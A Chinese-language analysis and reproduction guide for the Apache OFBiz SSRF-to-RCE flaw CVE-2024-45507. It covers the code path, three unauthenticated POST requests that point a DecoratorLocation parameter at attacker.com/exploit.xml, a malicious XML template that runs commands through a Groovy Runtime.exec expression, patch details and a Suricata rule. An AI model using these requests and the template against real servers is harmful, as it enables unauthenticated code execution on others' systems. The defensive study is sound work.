Apache OFBiz SSRF to RCE(CVE-2024-45507) 漏洞分析
字数 1703 2025-08-20 18:18:10
Apache OFBiz SSRF to RCE (CVE-2024-45507) 漏洞分析与复现指南
1. 漏洞概述
漏洞名称: Apache OFBiz SSRF to RCE
CVE编号: CVE-2024-45507
影响版本: Apache OFBiz < 18.12.16
漏洞类型: 服务器端请求伪造(SSRF)导致远程代码执行(RCE)
风险等级: 高危
利用条件: 无需认证即可利用
2. 环境搭建
复现环境准备
- 下载受影响版本(以18.12.12为例):
wget https://github.com/apache/ofbiz-framework/archive/refs/tags/release18.12.12.tar.gz
- 启动OFBiz服务:
./gradlew ofbizDebug
3. 漏洞原理分析
漏洞触发流程
-
请求处理机制:
- OFBiz通过
RequestHandler#resolveURI处理请求URI - 将path用"/"分成两部分,取第二部分作为
nextPage - 检查
requestMapMap是否存在requestUri和viewMapMap是否存在viewUri
- OFBiz通过
-
路由映射:
- 根据
rmaps配置反射调用相关函数 - 例如
login路由对应LoginWorker#login方法 - 返回值决定后续流程(
success/requirePasswordChange/error)
- 根据
-
视图渲染机制:
renderView方法通过viewName获取XML配置- 从
TempExprScreens.xml等配置文件中读取tempExprDecoratorLocation参数 - 该参数值被用作
location值进行后续处理
-
SSRF到RCE转换:
DecoratorScreen#renderWidgetString调用this.getLocation解析模板- 通过URL参数可控制
location值 ScreenFactory.java#getScreenFromLocation获取URL内容作为模板解析
关键调用栈
getScreenFromLocation:100, ScreenFactory (org.apache.ofbiz.widget.model)
renderReferencedScreen:192, ScreenFactory (org.apache.ofbiz.widget.model)
renderWidgetString:876, ModelScreenWidget$DecoratorScreen (org.apache.ofbiz.widget.model)
renderSubWidgetsString:103, ModelScreenWidget (org.apache.ofbiz.widget.model)
renderWidgetString:285, ModelScreenWidget$Section (org.apache.ofbiz.widget.model)
renderScreenString:164, ModelScreen (org.apache.ofbiz.widget.model)
render:140, ScreenRenderer (org.apache.ofbiz.widget.renderer)
render:102, ScreenRenderer (org.apache.ofbiz.widget.renderer)
render:113, MacroScreenViewHandler (org.apache.ofbiz.widget.renderer.macro)
renderView:1066, RequestHandler (org.apache.ofbiz.webapp.control)
doRequest:741, RequestHandler (org.apache.ofbiz.webapp.control)
doGet:212, ControlServlet (org.apache.ofbiz.webapp.control)
doPost:85, ControlServlet (org.apache.ofbiz.webapp.control)
...
4. 漏洞复现
可利用路径
以下路径可在未授权情况下触发漏洞:
/webtools/control/main/findTemporalExpression/webtools/control/forgotPassword/findTemporalExpression/webtools/control/main/ViewMetrics
漏洞利用PoC
- 基本利用请求:
POST /webtools/control/main/findTemporalExpression HTTP/1.1
Host: target:8443
Content-Type: application/x-www-form-urlencoded
tempExprDecoratorLocation=http://attacker.com/exploit.xml
- 替代利用路径:
POST /webtools/control/main/ViewMetrics HTTP/1.1
Host: target:8443
Content-Type: application/x-www-form-urlencoded
statsDecoratorLocation=http://attacker.com/exploit.xml
- 另一种变体:
POST /webtools/control/forgotPassword/findTemporalExpression HTTP/1.1
Host: target:8443
Content-Type: application/x-www-form-urlencoded
tempExprDecoratorLocation=http://attacker.com/exploit.xml
恶意XML构造
参考CommonScreens.xml中的Groovy表达式语法,构造如下恶意XML:
<screen>
<widget>
<set field="groovyScript">
<![CDATA[
${groovy:Runtime.getRuntime().exec("恶意命令")}
]]>
</set>
</widget>
</screen>
5. 漏洞影响范围
易受攻击的配置文件
在framework/webtools/widget目录下,包含location="${parameters.字符且不为${parameters.mainDecoratorLocation}的配置文件均可能受影响,例如:
TempExprScreens.xmlStatsScreens.xml
注意:不同版本可能配置文件有所不同。
6. 防护措施
官方补丁
-
补丁1:
- 提交: 28f5f87ec9
- 内容: 对
location参数进行严格校验 - 链接: https://github.com/apache/ofbiz-framework/commit/28f5f87ec9
-
补丁2:
- 提交: 9fe40f8cba8399afdfa41e8c9fd0ec61a569f2b5
- 内容: 对多个路由和方法进行加固鉴权
升级建议
立即升级到Apache OFBiz 18.12.16或更高版本。
Suricata IDS规则
alert http any any -> any any (
msg:"Apache OFBiz未授权代码执行(CVE-2024-45507&CVE-2024-45195)";
flow:established,to_server;
content:"POST";http_method;
http.request_body;
pcre:"/(?:\b\w*DecoratorLocation\s*|DATAFILE_LOCATION|DEFINITION_IS_URL|DEFINITION_NAME)=\s*i"";
classtype:web-application-attack;
sid:2024090502;
rev:1;
)
7. 参考链接
- Rapid7漏洞分析: https://www.rapid7.com/blog/post/2024/09/05/cve-2024-45195-apache-ofbiz-unauthenticated-remote-code-execution-fixed/
- OFBiz GitHub仓库: https://github.com/apache/ofbiz-framework